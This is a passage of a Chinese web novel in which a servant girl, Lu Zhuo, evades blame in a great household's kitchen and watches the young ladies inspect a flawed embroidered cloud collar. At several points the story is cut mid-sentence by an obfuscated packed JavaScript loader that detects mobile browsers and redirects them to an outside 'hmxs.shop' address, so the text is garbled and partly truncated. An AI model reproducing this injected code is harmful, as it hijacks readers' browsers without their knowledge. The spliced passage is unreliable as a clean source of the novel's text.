可一来，纵使鹿啄有滔天的愤恨，逐娘教给她们为人的良心却不许她戕害无辜； 二来，就是人太多了。 连主子带下人，加在一块儿百十来人，短时间内实在除不尽。哪怕她有这本事，也不敢担保没有遗漏。 不过鹿啄并不泄气。她此生只剩为姐姐们报仇雪恨这一个目的，哪怕在高家耽搁上几年，余下还有数十年可以再去追查前头几个 姐姐因何殒命。原则与她而言，只一样，除恶务尽。 大致摸清了内宅的部署和路线，鹿啄转头奔厨房去了。 她出来的时候不短，再不回去，晌午一过，厨房不留用的女婢们就要去绣房试工。 绣房极有可能会有鹿苓的痕迹，她是一定要走上一遭的。 况且她今天滴米未进，不能误了午饭。 下人们的午饭摆在灶台上，没去传菜的丫鬟仆妇们有捧了饭蹲在灶台边上吃的，也有更讲究些的拿着饭碗到院子里去吃。 纯儿抓着一块儿麸皮烙饼，并一碗煮得太老的油渣烩烂菜 ，一勺酱豆，坐在厨房院子里，正无从下口呢，就见院子外头，鹿啄大摇大摆地晃进来了。 好像她一直都在厨房里一样，鹿啄颇为自然地晃到放午食的地方，拣了几根老盐菜，拿麸皮饼子一裹，塞进嘴里，又晃回院子中。 纯儿一手拿着筷子，另一手拿饼，目瞪口呆地盯着鹿啄，直到鹿啄在她身边坐下，她才张了张嘴，刻意压低声音问她： “你不会是才回来吧？” 鹿啄嚼着饼子，很自然地答： “不是。” “别骗人！你就是才回来！” 鹿啄神色不变： “知道还问。” 纯儿让她噎得没话，心里又气又笑，一时不想理鹿啄。 两人坐在一处慢慢吃完两块儿饼子，传菜的还没回来，许厨娘喊着几个挑好的留用女婢刷洗灶台，其余人都是自己吃完的碗筷自己刷。鹿啄也吃完了，但她仍坐在原地，因为她图省事，压根没拿碗筷。 刷洗完自己碗筷的纯儿走回来，仍在鹿啄旁边坐下。她原本想问问鹿啄，她这么懒，原来没进府的时候靠什么活着。 但还没开口，纯儿好像突然想起什么，遂放弃了与鹿啄交谈，转而从怀里掏出一块帕子，一根纫好的针线，借着正午的日头，在帕子上穿针引线。 她不理鹿啄，鹿啄反而凑了上来。 盯了一会儿她手里的绣品，鹿啄嘴里忽然冒出一句她今天说过的最长的话： “这个佛手绣得像五根绿萝卜，针脚松了□□处，绣样也老得俏皮。” 话音方落，纯儿腾的一下红了脸，猛转过头嗔怪地瞪着鹿啄，见对方没有悔改的意思，更觉羞愤，便直把帕子塞进鹿啄手里： “那你绣。” 鹿啄不紧不慢把帕子还给她： “不会。” 不知怎么的，纯儿突然想起不久前在柴房，鹿啄也是把那斧子翻了个花递给她让她劈柴，她那会儿怎么脸皮就那么薄，怎么就没说她也不会呢！ 哦，是了，鹿啄这个没脸没皮的劲儿哪怕是当着夫人和姨娘的面也是如此，果然皮厚人胆大。 跟一个二皮脸计较什么呢？纯儿恶狠狠地把帕子又掏了回来，一边补松了的针脚，一边咬牙问鹿啄： “你进府之前到底是干嘛的？怎么会看绣活儿？” 鹿啄想也没想： “砍柴的。” “……” 纯儿真不想跟她聊了，这人怎么张嘴就来。 不过说是砍柴的，其实也没什么大问题，毕竟砍柴的功夫不是一天半天就能练成鹿啄那样。可哪有十来岁的小丫头天天砍柴过活的，就算是，又怎么卖给人牙子了呢？ 想不明白。 “你想留绣房？” 没等纯儿说话，鹿啄突然主动开口问她。 这个问题让纯儿一时出神。她确实是想留绣房的，可她也知道高家是高门大院，对绣工的要求不是那些小门小户可以比的。就她的这两手功夫，缝个鞋袜被面的尚且够用，但略精细些的便不可能了。 可不留绣房，就只剩浆洗和杂役了，做浆洗和杂役，可永远没有出头之日。 那她来高家又是干什么的呢？ 卖身的银子叫牙婆占走一半，父母再缺钱，却也怕她吃苦，宁可舍了一半的银钱也想叫牙婆给她卖个好地方。父母如此为她，她自己可不能不争气，但争不争气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030534|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，到底她说了并不算。 这个问题她想了太久了，一时答不上，只能苦笑着点点头。谁知鹿啄听了这话，竟从袖口掏出一个小袋子来，那袋子的大小模样像是大户人家小姐装手帕的帕袋，袋面上秀了一头正在吃草的幼鹿。 日头正盛，阳光下纯儿看得非常清楚：这方帕袋不过一掌大小，底衬是上好的秋香色杭缎，绣工更是神施鬼设。 那头幼鹿绣得极为精妙传神。鹿身以抢针和施毛针绣成，丝线劈得极细，用了深浅不一的十数种褐色、赭石与米白色丝线，层层叠叠，绝妙地绣出幼鹿脊背的暖褐、腹部的柔白以及皮毛柔软的质感与微妙的起伏。 以纯儿的见识，纵然是青州城里最好的绣娘，都绣不出这么精巧的帕袋。 她不由得惊呼： “你从哪儿偷的？！” 鹿啄看了她一眼，眼白多，眼黑少。 她不知道纯儿现在已经准备把她扭送官府，并且要把这个至少值七八两银子的帕袋物归原主，但她已然发现纯儿的目光有些不自然： “我姐姐绣的。” “不可能！”纯儿惊呼：“我没见过这么好的绣工，如果是你姐姐绣的，她早在青州城扬名立万了，你老实交代，不然我可要告诉郑嬷嬷了。” 听她这么说，鹿啄撇嘴挑眉，做出了一个“是吗？”的表情，随即把帕袋收回了袖口。 纯儿又急又气，看鹿啄半天都不为所动，她逐渐冷静下来，想了想鹿啄的为人。 虽然懒，但没见她小偷小摸。进府以后她压根没时间去偷夫人姨娘们的东西，这帕袋只能是她自己带进来的，而且设法躲过了搜身。 兼又想到她在西厅时的样子——穿得太破，又瘦，一看就是饿了挺长时间。身上有这么值钱的东西，还能把自己饿脱了像，确实不似那起子靠“偷”发家的人。 想到这，纯儿耐下心来： “要是你姐姐绣的，你们家单有她一个也早该发财了，怎么将你卖了呢？” 鹿啄抬头看着天，面无表情： “她死了。” 纯儿一愣，随即面上露出些不忍，她想起刚刚鹿啄递上帕袋的时机，便问： “你刚刚是想把这个帕袋送我？好让我留在绣房？这是你姐姐的遗物，我怎好收。” 怪不得身上有这么值钱的东西还给自己饿个半死，原来是遗物。纯儿也不补她的针脚了，暗自替鹿啄伤心起来。 但对方十分从容： “没说送你。”鹿啄说着又把帕袋掏出来，递给纯儿，“多看，多学。” 这丫头说话真就是一点儿都不客气。 亏自己刚刚还为她伤心来着！ 不过看鹿啄不为所动，纯儿猜测大概她姐姐已经过身多年了。她又替鹿啄的姐姐惋惜了一下，叹几声天妒英才后，方想到自己。 有机会见识这样的臻品总是不容易的，哪怕在近处瞧瞧，也是对技艺精进大有裨益。于是纯儿从鹿啄手中接过帕袋，道过谢，仔细参详起绣工来。 此时，厨房院中渐渐响起一阵阵的人声和脚步声，方才去二门传菜的丫头们正一个个的走回院子里。其中，凝儿正挽着本该在内院上值的郑婆子的手，亲密无间，说笑不停。 5. 真人不露相 凝儿脸上的喜色并非装出来谄媚姑母的。 尽管传菜前，她还在厨房咒骂，但眼下，她已经是打心眼儿里得意。 只两个时辰，姑母便给她疏通了门路，让她由外院婢子升至内院三少爷房中洒扫，虽不是陆姨娘所出的大少爷二少爷屋里，但杨姨娘也颇有体面。更何况三少爷只比大少爷小上三岁，怎么不算是可以收房的年纪呢？ 另有一桩喜事，是姑母今夜会把新买的女婢们的衣物都交予她，让她捡着值钱的，藏在前西厢房塌了的那个灶台里。 前西厢房说是房，其实是个院，现在的名字该叫拱辰轩。是三少爷在外院的住处，三少爷亲自改的名。那里的灶房是高家打京城回来后，杨姨娘令人单独建的，专给三少爷□□吃的点心。 但灶台砌得急，加之此事统归郑嬷嬷料理，不声不响，灶台很快便塌了一个。 然好在正值盛夏，三少爷觉得院里时时开灶惹得人更燥，便撵了厨娘。 加之这位少爷素来不喜外人进他的院子，故此灶台迟迟没修。 灶房离着三少爷的卧房不过数十步的距离，十分方便行事，必定出不了岔子。 又得了人，又得了财。 这叫凝儿怎么不得意。 她喜不自胜，几乎不抬眼看人了，缠着郑嬷嬷叽叽喳喳个不停，一会儿问自己什么时候换高等女使的衣服；一会儿又问三少爷脾气秉性如何，句句都落在旁人的耳朵里。 “这下她可算是称心了。”许厨娘迎上前，一壁用腰间的汗巾揩手，一壁跟郑嬷嬷套近乎： “老姐姐实是咱们府上最有头脸的管家婆，三房才回来多久，这不也都拿捏住了。” 提拔凝儿的事，要算其实该算庄婆子的脸面，另有三少爷为人个色，少拔女使，房中一直有缺。 但郑婆子之好大喜功，已臻化境，她必不会承认自己是装痴卖傻，扮可怜讨来的差事： “自当如此，我为高家当牛做马二十载，岂会没有这点脸面。” 许厨娘一味称是。 三人又互相吹捧了一会儿，郑婆子才想起正事来。她问过许厨娘要留下那些女婢，一一在人名簿上划了，继而又点齐了剩下的，吩咐道： “绣房今日事忙，腾不出人来接你们，嬷嬷我亲自送你们过去。个个都有眼色些，到了绣房，别丢我的人。” 话头挑到眼色二字，站在一旁的凝儿突然露出个意味不明的笑容来，像是她等候这个作威作福的机会已久，而她早已瞧好该施展下马威的对象。 只听她故意提高声音，一句话拧着三五个花腔似的念道： “姑母，别人倒也罢了，那丫头不就是个顶没眼色的吗？” 她说着，就走到鹿啄身边，想用长指甲去戳鹿啄的脑袋，但被鹿啄躲过了。 凝儿此一举并不为别的，只因她记着遴选时，站在她旁边的丫头极碍眼，要不是她卖弄，自己也不会暴露识字不多的把柄，倒落在素馨后头。 日后主子们要再把识字的事由捡起来，这丫头始终扎眼，没了她，旁人都不足道。 且若论有仇有怨，除过识字一事上的考量，另有一桩。 打下人房出来后不久，凝儿便从姑母那儿听说了鹿啄今天主动提出要烧衣服的事儿。 此后，再看鹿啄不打眼的样貌，破破烂烂的衣裳，登时就生出了一种对猪狗也妄想成人的愤懑来，毕竟她和姑母，私下就是把这个野丫头叫做“小畜生”的。 凝儿又一步逼近鹿啄，佯怒： “我才想起来呢，怎么一直也没在厨房见你？” 她还没到三少爷房里点卯，现下既无身份，也无派头去处置鹿啄，为狐假虎威，假借人势，只能一个劲儿回头看姑母。 郑婆子一早已经下定决心拿鹿啄撒气，并没有实在的仇怨，只是隐隐觉得，不会招致什么后果。她便装作宽仁的样子问鹿啄： “哦？凝儿说得可真？你不在厨房，上哪儿了？” “柴房。” 因胡婆子拦路要人的时候，郑婆子并没看见，所以鹿啄答她的时候，她本能反应鹿啄扯谎，但院里其它丫头并不都能看出郑婆子是故意拿鹿啄做筏子的，便有几人主动给鹿啄作证，说她确实被胡婆子领去柴房了。 这一下给凝儿架得老高，她急着辩解： “她是去柴房了，可到传菜她都没回来，整整两个时辰，她干嘛去了？分明就是躲懒去了！” 此言一出，别人倒没什么反应，纯儿可是心下捏了一把汗。 不为别的，只为凝儿猜得太对了。 郑婆子乘胜追击，向着人群问： “有没有人见到她回厨房的？” 无人应答。 郑婆子很满意，她逼近鹿啄，高声喝问： “你没回厨房，干嘛去了？” 鹿啄表情变也不变： “回厨房了。” 如若赵婆子在这儿，或许会有一种似曾相识的感觉，因为鹿啄现在的这个表情，跟她被抬回西厅时装傻的那个表情一模一样。但郑婆子在西厅时光紧张自己侄女的事了。 凝儿又急： “你胡说！你分明没回来！你拿什么证明？” 鹿啄看了她一眼： “去柴房的是两个人。” 凝儿一愣，随即又怒： “这我知道，没问你柴房的事，现在问的是厨房的事！” 鹿啄反问： “另一个去柴房的是谁？” 凝儿又一愣，不曾想她会这样问。但随即凝儿反应过来。 如果她不知道另一个去柴房的人是谁，就证明她根本对去柴房的人印象不深，也就不能证明她所说的鹿啄没回来是真的。 原本她心里就对鹿啄没回来这件事只有六七分的确定，再加上她还真不知道另一个人是谁。 若是硬要说，大概也算有点印象，但短短几个时辰内，她的情绪大起大落，姑母又交代了重要的事情让她记着，她脑海中一时就没有多余的空间给一个不紧要的人了。 好在这件事有另一个人记得。许厨娘有心帮她，就朝着纯儿的方向努了努嘴。凝儿立刻领会，伸手一指纯儿： “是她！” 鹿啄点了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030535|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头： “那她回来了吗？” 凝儿傻了。 纯儿回来的时候，她正与许厨娘痛斥素馨呢，之后传菜这种露脸的事她更加不能错过，于是她压根不记得纯儿回没回来过，毕竟连纯儿走没走过她都需要许厨娘提点。 想起许厨娘，凝儿立即回头去看她，却见许厨娘也是一脸迷茫。 当时在厨房议论素馨的正是她们俩，其中一人没注意，另一个又怎么可能注意到了。新人加老人，当时厨房至少有三十余人，还四散在各处，任谁都不可能面面俱到。这也正是鹿啄的打算。 人群里有几个没去传菜的小丫头低声议论： “回来了的，毕竟柴变多了呀，那么多柴，一个人劈不完吧。” “是吗？我记不太清了欸，她俩都挺不起眼的。” “要是找个不认识的人问我在不在厨房，人家估计也是说没见过吧，事儿那么多，谁顾得上数人数啊。” 人群里的声音渐大，郑婆子只得干咳了两声，又问鹿啄： “你的意思是你也回来了？那你倒说来，方才我问的时候，怎么没人说见过你。” 鹿啄泰山崩于前而面不改色： “大概因为我不起眼。” 人群里的纯儿再次为鹿啄的脸皮所绝倒。 郑婆子心下愕然。 的确，没人见过她回来，但也没人见过她没回来，根本上这两个人都没人记得。可厨房里的柴变多了这是事实，不然许厨娘做午食的柴应该不够用才对，柴不够用，是所有今早就在厨房内上工的老人都清楚的事实。 十之七八，只有一个人回来了。 但这两个丫头一定都会坚称回来的是自己，如果分别把她们抓起来审问，那要到什么时候能把真相审出来呢？或者说，这个真相就那么重要吗？ 郑婆子只是想找个人出气而已，并不想把事情闹大。她当然也可以两个人都罚，但她又十分不想给在场的老人留下这种随意惩处人的印象，最终只得作罢： “行了。念在你是第一天上工，不懂规矩，这次就算了。下次要是办完了差，记着要跟你的管事嬷嬷说一声。” 鹿啄还没回话，纯儿不由自主地在人群中先应了一声“是。” 她适才怕极了，从许厨娘点出她的时候，她就知道自己脱不了被鹿啄带累，况且她也不是全然无过。 假若鹿啄咬住要问这些柴究竟是谁劈的，她做不到如鹿啄一般容色不改。 从她得了鹿啄的照拂，又答应鹿啄一人留在柴房的那刻起，两人就是串在一条绳上的蚂蚱。鹿啄要是三更死，她也活不到五更。 原指望有个人能记得自己回来过，但没想到她的人缘跟鹿啄居然是一个水准，早知如此，还不如跟鹿啄一块儿偷懒算了，起码不做把头系在旁人裤腰上的冤鬼。 她心思百转，却没看见鹿啄正越过人群望着自己。 那是分明也很明白这一番计较的眼神。 适才，如果凝儿还不松口，鹿啄下一步就打算让纯儿成为她的人证了。 那个帕袋，并不是白给她看的。 6. 绣房 因绣房设在二门里罩房的后头，反比浆洗房路远，所以至二门的路上，浆洗房就先来挑了几个不会绣工的丫头走了。 鹿啄也不会绣。 这事儿上她倒并没瞒着纯儿。 教她们七姐妹本事的人叫逐娘，与她们的亲娘一般无二。据逐娘自己说，她曾是京城里赫赫有名的花魁娘子，自小天赋异禀，鸨母又舍得搭银子教导，以至十五岁上，刺绣、诗词、书画、厨艺，样样精通。 十七岁时，逐娘因受不了青楼的日子，便通过一位在外结识的姐妹的帮助，谋划出逃。虽然经历了一些周折，但最后仍然逃亡成功，两人从此定居在涿州的一座荒山上，那荒山没名，逐娘和姐妹自嘲这山是丧家犬的所到之处，便把山取名为啜狗山。 上山后的数十年间，逐娘和姐妹依次收养了七个无父无母的孤女，并以鹿为姓氏给她们都取了名字，也就有了鹿啄和她的六个姐姐。 大姐鹿坤和三姐鹿霖跟着逐娘的姐妹习武，剩下的各按天赋，跟逐娘学一样本事。 而逐娘的姐妹缘何会武，其武艺又为何精湛无匹，这连逐娘也不知道。 至于这位姐妹叫什么，鹿啄从没听过。因为鹿啄上啜狗山时，这位姐妹早已过世了，鹿啄的武艺是鹿坤和鹿霖教授的，其它女孩也只把那个会武的女人称为“从娘”，与姨母的意思相同。 学武本就辛苦，又比旁的本事更看中天分，所以一旦开始习武，逐娘和从娘便不会再让这个女孩修习别的。 这就是为何鹿苓有一手巧夺天工的绣工，但鹿啄连个屁也绣不出来的缘故。 可不会绣，并不代表不会看，不接触。 还在啜狗山上的时候，鹿苓和鹿啄是先后脚上山，排行第六第七，住也住在一间屋子里，鹿苓和逐娘两个，管着八个人的穿衣用度，常有忙不过来的时候。所以像是劈丝、上浆、装裱、修剪这一类的杂活，鹿啄也没少干，前头的姐姐也都帮着逐娘做过。 于是今日郑婆子考校基本的女红底子时，鹿啄就把给姐姐打下手的这些能耐搬出来使了一些，这就躲过了被浆洗房挑走。 只是纯儿的目光越发异样了。 她恨恨地盯着鹿啄： “你到底有没有实话？” 鹿啄头也不回： “从何说起？” 纯儿怎么知道从何说起。 从你咣咣劈柴的时候说起？ 还是从你只顾一个人爽，差点把别人害死的时候说起？ 她算是明白了，原来一开始大家伙过来跟鹿啄说话聊天，最后又都散了，是因为根本尿不进一个壶里。谁能跟她尿进一个壶？这得劈多大的岔？ 郑婆子走在最前头，并不知道后头有这样的对话。但她心里也纳闷：这小畜生到底是什么路子，想不想争出头，会不会碍着自己一家子的兴荣。 可想了一小会儿，鹿啄就被郑婆子抛诸脑后了。虽然她从没细看过，但印象中，那丫头长得不出挑，也没什么本事，只会做些杂活，谈吐教养更是次等中的次等。来日方长，想找个机会把这小畜生打发出去，不要太容易。 在这样的地方讨生活，谁都会有自己的打算，郑婆子一向觉得，自己是打算得最稳的那个。 穿过二门，沿配房后的小路又走了约一盏茶的功夫，就能看见绣房。郑婆子领着小女婢们一路往前走，快到绣房的时候，她指点着凝儿穿过一条小路，在路的尽头，杨姨娘的陪房正等着她。 凝儿欢天喜地走了，没注意到身后不少女孩向她投去的目光。 从此就是两番天地，又怎能叫人不做他想。 终究是看不得他人受穷苦的人少，看不得他人享富贵的人却多。 不过依着郑婆子的话，绣房里，也是有一番富贵的。 一众人走入绣房，听着郑婆子夸耀，这不过是高家祖宅为三代人所建的宅邸，就已经有一个带院落的大绣房，更不要提三房在京城的宅子，因为女儿多，殷氏的娘家可是特意花钱盖了一座绣楼，只比皇亲贵胄差上那么一点。 院内正中的房门敞开着，房内四壁立着顶天立地的楠木橱柜，抽屉上贴着杏黄笺子，以清秀的楷书标注着“苏白”、“湖青”、“赤金”、“鸦青”等各色丝线的名目。 房间正中，数个梨花木绣架错落摆放，七八个绣娘正忙活着手里的绣品。其中最精致的那个绣架上，绷着一面极薄的素绡，绣架后头站着的人听见院内动静，便抬头朝外看，见是郑婆子，立时换上笑容，迎了出来： “嬷嬷叫我好等。” 她一走出来，女婢们便意识到这人并不是绣娘。 首先此女年纪不大，约十五六的样子，身穿一件青色素绸的立领袄衫，袖口饰四季花卉织锦窄边，下身是莨纱绸玄色马面裙，裙襕有不显眼的提花织锦。明面上都是做丫鬟身份打扮，不显眼处使尽了显贵的心思。 况且这一身的绸料，本就不是一般丫鬟用得起的，再稳重的用色也盖不住华贵。 这边郑婆子见了她，出了个仿佛见着妖怪一般的动静： “哟哟！贵足踏贱地，这是哪阵香风给我们玉珰姑娘吹这儿来了。” 仿佛是山里的大王，郑婆子的马屁还包含了手下一众小妖的行礼环节，她叠声叫着： “都过来都过来，见过你们玉珰姐姐。这是贴身伺候大小姐的姑娘，主子们眼前的红人儿。” “小妖”们懵懵懂懂地给玉珰行礼，后者四平八稳，走到郑婆子身边： “嬷嬷快别羞臊我了，什么红人，哪有那种命。” 她怕郑婆子恭维起来不停，误了她的事，还没等郑婆子下一句到嘴边，就赶紧说： “为着十日后严家人来，大小姐上个月不是特命绣房赶制了一件云肩嘛，这严家人快来了，我们姑娘还是不放心，要亲自验。我是来给她探路的，大小姐随后便到。” 听了这话，郑婆子又像让开水烫了的耗子，发出一声极细的叫声，才道： “这怎么好，姑娘你也不早说，太太吩咐让带着新买的丫头来领差事，要是冲撞了大小姐，我怎么担得起。” 大小姐高雅英乃是殷氏嫡出，郑婆子想着先把大主子搬出来压小主子一头，免得等会儿小主子到了，真挑她不长眼的毛病。 玉珰当然知道她是什么意思，只是不计较： “这我们也是知道的，就是恐怕要耽误嬷嬷的事，总要等大小姐走了，再给丫头们派差。” 不像郑婆子一贯做事顾头不顾腚的风格，大小姐出门前玉珰就已经打听好了绣房有什么人，会来什么人，这才早早的等在这儿。 她倒不怕真冲撞了大小姐，只是高雅英是金尊玉贵的高府嫡长女，如果进来看见绣娘和丫头们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030536|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各忙各的，没人恭迎她，恐怕会多心，往后再也不会在绣房做一件衣裳。 然大小姐是否多心还未可知，新来的丫头们里却有一些多思多量起来： 她们的运气未免太好了，若是放在平时，就是三年五载也不得见大小姐一面。须知遴选内院丫头的时候，主母和姨娘并没看上的，有可能却合大小姐的眼缘，若是再有个露脸的机会，哪怕就是得一点赏赐，也是可遇而不可求的好事。 只是她们忘了，郑婆子哪里会给她们这种机会。 自己的侄女刚安排到杨姨娘院里，没有其它人不走动关系反而去嫡小姐院子里的道理。 当着玉珰的面，郑婆子叫剩下的七个丫头分左右列成两班，都把头低到胸口，个个只露出头顶，站得离绣房中心远远的，最远的一个都快退进两边的库房里了。 郑婆子把丫头们安排好，正在做活儿的绣娘也都停了，整理衣襟，把手头不必要的杂物归置整齐。主绣娘子姓王，不知是话少还是自恃才高，并不怎么跟郑婆子和玉珰交流，只是让手下的绣娘把绣了一半的云肩轻轻提起来，等着给大小姐勘验。 那云肩一提起来，纯儿便觉得有些不妥。 她站在西向上首，离正房虽远，但整个院子也不算很大，所以趁郑婆子不注意，偷眼也能看到正房中那云肩的样子。 大户人家的夫人小姐们为衫袄配云肩，多选“四合如意”形，取“四方祥和”之意。是由前后四片由料子裁成的云头缝制而成的肩饰。这里面每一片云头，根据主人喜好不同，作不同绣法，比如官娘子们都好作盘金绣，纹样取四时花卉或杂宝纹，喜好风雅的 会绣博古纹、暗八仙一类。 但这件云肩形制上首先就不是经典的四合如意形。 虽然也是取了四片布料裁制的，但四片云头都刻意裁得像是展翅蝶形，还坠了两条蝶尾形的坠角，十分新奇。 另外，那云肩所绣纹样也不与平常纹样相同，竟是仿照着蝶翼的脉络与斑纹依样绣出，浮在一块儿芝麻纱底料上，所追求的效果应当是翩然轻盈，新雅有趣，也符合本朝服饰制式追求“象生形”的风气。 为什么要说“追求”的效果呢？ 因为这效果并没达到。 具体是什么原因没有达到，以纯儿的功力并看不出来。但她只觉得这云肩死气沉沉，匠气极重，不仅不轻盈，反而很笨重。整个衣裳拿起来，就像两个人合力抓着一只糟朽了的死蝴蝶，叫人不忍猝看。 凡是做匠的，花匠也好，木匠也罢，只要这些涉及到技法的活计，深陷其中的人到了某个关头，就看不出好坏参差了。若能参看出自己作品的好坏，手艺也就更上了一层。 所以那主绣娘子大约是太沉浸在自己的设计里，全然忘我，已经不知道这件绣品现在只空有些精致的细节，全局去看，就糟糕透顶。 旁人虽然能看得出来，但已太迟了。 玉珰来绣房，并没想到绣娘们能出什么岔子，只想着这些做活儿的绣娘从没见过大小姐，得先把规矩都说清楚，再把郑婆子打点明白，一时没顾上去看云肩。加之小姐还没看，她先指点一番也是僭越。 方才这两位绣娘把云肩拎出来的一瞬间，玉珰站得最近，只看了一眼，心里立时就叫不好，但此时她已没机会弥补，因为门外，传来了前呼后拥的脚步声，和交谈声。 7. 蝴蝶云肩 过了晌午，天不知何时阴了下去，看不见云，庭院里也无风，空气粘稠而窒闷。 玉珰加紧了脚步疾行到院门口，本想先拦住小姐，却发现了一件令境况更糟的事。 大小姐高雅英是与二小姐高容英一道来的。 这事巧也不巧。 巧的是平时十年八载都不可能到绣房走一趟的小姐们，今天竟一下来了两位。 不巧的是，高雅英与亲妹子高汐英因秉性不和，很少在私下往来，却不知为什么跟杨姨娘所出的二小姐高容英相交甚笃，她俩结伴而行，是常有的事。 玉珰早该料到的。 她心下咒骂自己太相信这些小地方的绣娘，将绣样交托出来这段日子，竟没有上心日日来看；又骂自己跟了大小姐多年，为何还是想得这么少，但凡规矩不明令禁止的，小姐怎么就一定不会做？ 只是骂也无用，她更不好叫高容英瞧着高雅英的笑话，自然抹了脸上忧虑神色，款步迎到门口，躬身等候两位小姐入内。 高雅英今日着一件藕荷色云绫地三蓝绣折枝玉兰纹长袄，下身是湖色织金缠枝莲马面裙。她一贯打扮得隆重，无论外出还是在家。 个中原因，来源于高雅英所奉行的一套穿衣原则：名贵的衣服是拿来给人瞧的，只穿给自己看则很没意思。但看她最多的，还是家里人，所以高雅英一向在礼法之内，尽量穿得贵重。 但高容英与她正相反，她上身着一件玉色素绫交领长衫，下身秋香色马面裙，皆不绣花。 除了极重要的场合外，高容英都是这样穿，纵然显得穷酸都不打紧，不如说越显得清高不流俗，她越是高兴。 面相上看，高雅英是官宦人家里推崇的那种主母之相：宽额广颐，面似银盘，鼻梁挺秀，鼻头却圆润敦厚，眼睛大而眸色乌沉，看人时并不轻易转动，眼尾微垂，含着几分万言万当，不如一默的沉静。 高容英则又与她相反。脸窄且小，五官极淡，眉眼细长，鼻子小巧秀气，嘴唇薄而线条分明，乍看之下清秀可怜。 但细看之下，难免不注意到她的脖子。她脖子较常人要长得多，几乎跟面庞同样宽窄，肩也窄，整个人远远望去，几乎是没有起 伏的一整个长条。 比起高雅英，其实高容英更需要一件云肩来岔开她严丝合缝的脑袋和身量。 两位小姐都在院中站定了。郑婆子领着小丫头们，主绣娘子领着一众绣娘，向两位小姐行礼问安。玉珰在礼前就已经走回了高雅英身边，向另外两个贴身丫头——银钿和花络，轻轻摇了摇头。 郑婆子急匆匆上前，生怕显不着她似的，又一躬身： “给大小姐、二小姐请安了。真是赶早不如赶巧！” 她老脸皱成一团，殷勤讨好： “老奴正带着这几个新来的小丫头到绣房，让娘子们瞧瞧手脚，看看将来是分去缝补还是学些简单的针线，正愁没个眼明心亮的 人帮着掌掌眼，可巧两位小姐就来了，这可不是天赐的指点？” 明明适才跟她说了，要先让大小姐看过云肩再配差事，但郑婆子可不把玉珰的话当圣旨，她觉得，像这样时不时给主子找点事儿做，才更能凸显主子们的权力和金贵。 但高雅英不买她的账，一句话浇灭了郑婆子和所有小丫头们的希望： “郑嬷嬷办事向来稳妥，你瞧着分派便是，何需我们来多嘴。” 她的目光便从郑婆子脸上淡淡掠过，并未停留，更未去看那些瑟缩的新丫头。她转向主绣娘子，丝毫不容拖延地吩咐： “我吩咐的那件云肩，说是今日可得。娘子这就取来与我们看看吧，若还有不妥之处，趁着还有些时日，也好立时修改。” 说罢，左右立刻有丫鬟们去搬凳子给姑娘们坐。玉珰、银钿、花络三个站在两旁，给打扇子、遮阳、捶腿，不敢松懈。高容英一侧自然也是一样。 须臾，主绣的王娘子打头阵，引着两位绣娘，将那“死蝴蝶”捉到了大小姐眼前。 站定，王娘子从绣娘们手中接过云肩，双手小心翼翼地托着，向前一步，一副不卑不亢的样子。 “大小姐您过目，奴婢们日夜赶工，一丝也不敢懈怠。” 话毕，王娘子又微微侧过身，让光线更好地落在云肩上，一面开口给高雅英陈述： “形制与料子是您尊口钦定，奴婢只在绣工上琢磨。这芝麻纱底子软滑，不易承重，寻常绣法难显效果。故而……” 王娘子像是压根看不见日光投下来时，打在云肩上犹如打在死水上一样。她带着一丝不易察觉的夸耀： “奴婢斗胆，用了缎绣，全以铺针满施。” 说着，她还腾出一根手指，精准地点在丝线排列紧密的绣纹上： “唯有此法，方能以针线为笔，将蝶翼脉络、斑驳色块，仿如织就般分毫呈现，不散、不浮。针脚均净如缎面，光泽内蕴，远观近玩，皆有其质。” 内蕴一句用以描绘此云肩，属实是矜持了，纵然向深处去寻也寻不到的东西，谈不上蕴含其中。 此时两位主子和贴身女婢们的注意力都在那云肩上，郑婆子也踮着脚看，一时没人管小丫头们，于是个个也松懈下来，都偷眼打量着那件云肩。 纯儿就在郑婆子身侧，她伺机又细细看了一番，唯恐是自己学艺不精，没看出王娘子手艺的精妙之处，可怎么看，纯儿都觉不出这件云肩的好来。 用工用料，没有哪一样不是上乘的，功夫下得更足，这样的满绣，怕是一月以来，绣房别的活计都搁下了不少。 可横竖，还是看不出好。 纯儿想起鹿啄好像很会鉴赏这些绣品，便回头找鹿啄，哪怕是能有个与她相同的神色落在眼里，也让她对自己的判断更多几分底气。可转过头，只看见鹿啄盯着自己的脚面。她两脚之间，正有一队蚂蚁在搬一块儿饼渣子——可能是绣娘们午饭时掉落的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 